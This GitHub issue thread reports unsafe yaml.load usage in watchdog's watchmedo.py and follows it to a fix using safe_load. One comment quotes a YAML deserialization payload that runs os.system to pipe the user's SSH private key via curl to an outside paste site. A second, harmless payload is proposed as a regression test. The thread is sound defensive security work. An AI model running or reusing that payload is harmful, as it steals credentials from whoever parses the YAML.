-
-
Notifications
You must be signed in to change notification settings - Fork 704
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Use of yaml.load in watchmedo.py #453
Comments
Go ahead! Please add a test that would break with the current code. |
Something like this (don't run this!) yaml.load("""
!!python/object/apply:os.system ["cat ~/.ssh/id_rsa | curl -F 'sprunge=<-' http://sprunge.us "]
""") |
You could add that simple test: # Find a way to load this YAML:
yaml.load("""!!python/object/apply:os.system ["touch critical.txt "]""")
# And ensure the file is not created:
assert not os.path.isfile("critical.txt") Perhaps it is not needed to run on every OS, just Linux is fine. |
Hey @tonybaloney, I hope you don't mind but I've sent a PR for this issue. GitHub started to raise a security alert because of the use of this function and it seemed to be quite simple to solve it so I did. If I forgot something just let me know. |
Fixed with #506. |
I noticed that watchmedo uses the
yaml.load
method, PyYAML can execute arbitrary commands via the shebang syntax and is recommended by many projects to be swapped foryaml.safe_load
e.g. OpenStack. https://security.openstack.org/guidelines/dg_avoid-dangerous-input-parsing-libraries.htmlhttps://github.com/gorakhargosh/watchdog/blob/master/src/watchdog/watchmedo.py#L88
Happy to raise a PR against this change if necessary.
The text was updated successfully, but these errors were encountered: